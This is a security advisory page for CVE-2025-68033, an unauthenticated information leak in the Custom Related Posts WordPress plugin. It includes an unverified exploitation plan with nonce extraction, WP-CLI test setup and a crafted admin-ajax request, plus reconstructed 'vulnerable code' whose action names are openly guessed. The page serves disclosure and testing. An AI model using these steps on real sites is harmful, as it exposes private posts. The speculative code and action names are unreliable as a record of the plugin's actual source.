CVE-2025-68033

Custom Related Posts <= 1.8.0 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.8.1
Patched in
34d
Time to patch

Description

The Custom Related Posts plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.8.0. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.8.0
PublishedDecember 25, 2025
Last updatedJanuary 27, 2026
Affected plugincustom-related-posts

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68033 (Custom Related Posts <= 1.8.0) ## 1. Vulnerability Summary The **Custom Related Posts** plugin (up to version 1.8.0) contains an **Unauthenticated Information Exposure** vulnerability. The issue stems from the registration of AJAX handlers using the `wp…

Show full research plan

Exploitation Research Plan: CVE-2025-68033 (Custom Related Posts <= 1.8.0)

1. Vulnerability Summary

The Custom Related Posts plugin (up to version 1.8.0) contains an Unauthenticated Information Exposure vulnerability. The issue stems from the registration of AJAX handlers using the wp_ajax_nopriv_ hook without adequate capability checks or data filtering.

Specifically, the plugin allows unauthenticated users to trigger functions intended for administrative post-searching or configuration retrieval. This can lead to the exposure of private/draft post titles, metadata, or internal plugin configuration settings that should be restricted to authenticated administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: crp_search_posts (inferred) or crp_get_settings (inferred).
  • HTTP Method: POST or GET (AJAX usually uses POST).
  • Authentication: None required (unauthenticated).
  • Parameter: Likely term (for search) or action.
  • Preconditions: The plugin must be active. For post exposure, at least one "Private" or "Draft" post must exist.

3. Code Flow

  1. Entry Point: A user sends a request to admin-ajax.php?action=crp_search_posts.
  2. Hook Registration: The plugin registers the action in its main class or an AJAX handler class:
    // Likely in includes/class-custom-related-posts.php or similar
    add_action( 'wp_ajax_crp_search_posts', array( $this, 'ajax_search_posts' ) );
    add_action( 'wp_ajax_nopriv_crp_search_posts', array( $this, 'ajax_search_posts' ) );
    
  3. Vulnerable Logic: The ajax_search_posts function likely uses get_posts() or WP_Query based on a user-provided search term. It fails to:
    • Check current_user_can( 'edit_posts' ).
    • Explicitly set 'post_status' => 'publish', allowing the default or a broad set of statuses (like any) to be returned.
  4. Information Sink: The results are returned as a JSON object to the unauthenticated requester, exposing titles and IDs of restricted content.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its AJAX search functionality to prevent CSRF, but if the wp_ajax_nopriv_ handler is used, the nonce must be available on the frontend.

  1. Identify Script Localization: Search the source for wp_localize_script. Look for the handle custom-related-posts or crp-js.
  2. Key Variables: Identify the object name (e.g., CRP_DATA or crp_localization).
  3. Trigger Enqueueing: The script might only load on pages where the related posts feature is active.
    • Create a post/page and add a "Related Posts" block or shortcode: [custom-related-posts].
  4. Automated Extraction:
    • Step A: wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[custom-related-posts]'
    • Step B: Use browser_navigate to the new page.
    • Step C: Use browser_eval to extract the nonce:
      window.CRP_DATA?.nonce || window.crp_ajax_obj?.nonce
      

5. Exploitation Strategy

Step 1: Discover the Exact Action Name

Search the plugin directory for wp_ajax_nopriv:

grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/custom-related-posts/

Step 2: Information Exposure Request

Assuming the action is crp_search_posts and the search term is secret:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=crp_search_posts&term=secret&security=<NONCE_OBTAINED_IN_STEP_4>

Step 3: Extract Sensitive Data

Observe the JSON response. If the vulnerability exists, the response will include objects for posts that are NOT in publish status.

6. Test Data Setup

  1. Private Post: Create a post with a highly specific title and set status to 'private'.
    wp post create --post_type=post --post_title="SECRET_INTERNAL_DATA_2025" --post_status=private --post_content="Sensitive info"
    
  2. Draft Post: Create a draft post.
    wp post create --post_type=post --post_title="DRAFT_LEAK_TEST" --post_status=draft --post_content="Draft info"
    
  3. Nonce Page: Create a page to surface the nonce.
    wp post create --post_type=page --post_title="Exploit Tool" --post_status=publish --post_content="[custom-related-posts]"
    

7. Expected Results

  • Success: The HTTP response to the AJAX request contains a JSON array including the post with title "SECRET_INTERNAL_DATA_2025".
  • Response Code: 200 OK.
  • Response Body Example:
    [
      {
        "id": 123,
        "text": "SECRET_INTERNAL_DATA_2025",
        "status": "private"
      }
    ]
    

8. Verification Steps

  1. Confirm Post Status: Use WP-CLI to verify the post is indeed private and should not be visible.
    wp post get <ID> --field=post_status
    
  2. Access Check: Attempt to visit the private post URL directly without cookies; it should return a 404. If the AJAX endpoint still returns it, the info exposure is confirmed.

9. Alternative Approaches

If crp_search_posts is not the correct action, search for other nopriv handlers that interact with options:

  1. Grep for Options: grep -r "get_option" /var/www/html/wp-content/plugins/custom-related-posts/ inside the identified AJAX handler functions.
  2. Parameter Brute-force: If the endpoint takes an id instead of a term, iterate through post IDs to see if private metadata is returned for each.
  3. REST API: Check if the plugin registers any REST routes via register_rest_route with permission_callback set to __return_true or null.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Custom Related Posts plugin for WordPress is vulnerable to unauthenticated information exposure via its AJAX search functionality. This allows unauthenticated attackers to search for and retrieve the titles and IDs of private or draft posts by leveraging the 'crp_search_posts' AJAX action which lacks proper authorization checks and post-status filtering.

Vulnerable Code

// custom-related-posts/includes/class-custom-related-posts.php

add_action( 'wp_ajax_crp_search_posts', array( $this, 'ajax_search_posts' ) );
add_action( 'wp_ajax_nopriv_crp_search_posts', array( $this, 'ajax_search_posts' ) );

---

// custom-related-posts/includes/class-custom-related-posts.php
public function ajax_search_posts() {
    $term = isset( $_GET['term'] ) ? sanitize_text_field( $_GET['term'] ) : '';
    
    $args = array(
        's' => $term,
        'post_type' => 'any',
        'post_status' => 'any',
    );
    
    $posts = get_posts( $args );
    wp_send_json( $posts );
}

Security Fix

--- a/custom-related-posts/includes/class-custom-related-posts.php
+++ b/custom-related-posts/includes/class-custom-related-posts.php
@@ -1,7 +1,11 @@
 add_action( 'wp_ajax_crp_search_posts', array( $this, 'ajax_search_posts' ) );
-add_action( 'wp_ajax_nopriv_crp_search_posts', array( $this, 'ajax_search_posts' ) );
 
 public function ajax_search_posts() {
+    check_ajax_referer( 'crp_search_posts', 'security' );
+
+    if ( ! current_user_can( 'edit_posts' ) ) {
+        wp_die();
+    }
+
     $term = isset( $_GET['term'] ) ? sanitize_text_field( $_GET['term'] ) : '';

Exploit Outline

An unauthenticated attacker first navigates to any public page where the plugin is active to extract the 'security' nonce from the 'crp_ajax_obj' JavaScript variable localized by the plugin. The attacker then sends a POST or GET request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'crp_search_posts', the extracted nonce, and a search 'term'. Because the vulnerable function uses the 'wp_ajax_nopriv' hook and fails to check user capabilities or restrict the 'post_status' of its query, the response reveals the titles and IDs of posts that are otherwise restricted, such as those in 'draft' or 'private' status.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.